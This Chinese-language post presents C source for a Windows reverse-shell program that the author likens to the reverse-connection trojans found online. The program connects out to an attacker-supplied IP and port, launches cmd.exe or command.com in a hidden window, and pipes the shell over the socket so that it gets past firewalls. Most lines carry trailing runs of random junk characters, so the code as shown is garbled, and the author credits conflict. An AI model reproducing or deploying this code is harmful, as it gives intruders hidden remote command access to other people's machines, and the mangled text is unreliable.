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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 82w< q(  
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/* ============================== E3KP jK  
Rebound port in Windows NT |0 Zj/1<$  
By wind,2006/7 +~[19'GH  
===============================*/ z?i82B[Tm  
#include L' )(Zn1  
#include <LLSUk/  
}u|0  
#pragma comment(lib,"wsock32.lib") 1-b,X]i  
\ tQi7yj4  
void OutputShell(); @D7cv"   
SOCKET sClient; y24 0 +;a  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; fh2Pn!h+  
w}2yi#E[  
void main(int argc,char **argv) dvxH:,  
{ /evh.S  
WSADATA stWsaData; kPxrI=  
int nRet; >4ALF[oH1J  
SOCKADDR_IN stSaiClient,stSaiServer; t Y^:C[  
55[K[K  
if(argc != 3) vR`KRI`{  
{ 4b<:67 %  
printf("Useage:\n\rRebound DestIP DestPort\n"); b0&dpMgh:  
return; ?}Mv5SO  
} oZzE.Q1T  
RZz].Nx  
WSAStartup(MAKEWORD(2,2),&stWsaData); t qER;L  
:`uo]B"  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c[;I\g  
Nd( $s[  
stSaiClient.sin_family = AF_INET; BE m%x 0y  
stSaiClient.sin_port = htons(0); <vj&e(D^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hxtu^E/  
yC _X@o-n  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ciXAyT cG  
{ HAU8H'h  
printf("Bind Socket Failed!\n"); 9:esj{X  
return; HWHGxg['r  
} .jRXHrK;  
k r/[|.bq  
stSaiServer.sin_family = AF_INET; )qxL@w.  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c8u&ev.U  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); jy1*E3vQ  
w)}[)}T!  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %iX +"  
{ 8 {QvB"w  
printf("Connect Error!"); /Db~-$K  
return; c5]1aFKz  
} PVvG  
OutputShell(); 7zNyH(.  
} @ 8SYV}0H  
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void OutputShell() _ Fer-nQ2R  
{ :oZ30}  
char szBuff[1024]; L>PpXTWwy  
SECURITY_ATTRIBUTES stSecurityAttributes; gfp#G,/B  
OSVERSIONINFO stOsversionInfo; p2cKtk+  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; x JepDCUJ>  
STARTUPINFO stStartupInfo; dpE+[O_  
char *szShell; sF}E =lY  
PROCESS_INFORMATION stProcessInformation; A\?O5#m:$  
unsigned long lBytesRead; ;,F}!R  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l~\'Z2op   
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <vPIC G)  
stSecurityAttributes.lpSecurityDescriptor = 0; i|2Q}$3t2  
stSecurityAttributes.bInheritHandle = TRUE; YoahqXR`  
5jbd!t@L  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); xvW+;3;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); '\\J95*`  
2'/ ip@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qUVV374N  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {=&pnu\  
stStartupInfo.wShowWindow = SW_HIDE; _jr%s  
stStartupInfo.hStdInput = hReadPipe; BG=h1ybz  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ni3^J5XW  
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GetVersionEx(&stOsversionInfo); iHR?]]RF  
WSh+5](:  
switch(stOsversionInfo.dwPlatformId) \=nY&Ml  
{ ]xFd_OHdb  
case 1: ./[t'dgC  
szShell = "command.com"; 4|*_mC  
break; A}W&=m8!  
default: xKIm2% U9  
szShell = "cmd.exe"; 7gv kd+-*  
break; (h2bxfV~+  
} UW40Y3W0  
\N!k)6\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); whD%Oz*f  
fD V:ueO  
send(sClient,szMsg,77,0); 7kj#3(e  
while(1) 0OlB;  
{ P=eL24j  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5z=;q!3  
if(lBytesRead) obY5taOw  
{ 0Y[mh@(  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l0]zZcpt  
send(sClient,szBuff,lBytesRead,0); #N7@p }P  
} "tm2YUG},s  
else z}kD:A)a  
{ ``0knr <  
lBytesRead=recv(sClient,szBuff,1024,0); (L q^C=  
if(lBytesRead<=0) break; # Z8<H  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @y)fR.!)1$  
} F2lTDuk>C  
} r"k\G\,%  
v vOG]2z  
return; Ey 4GyAl  
}
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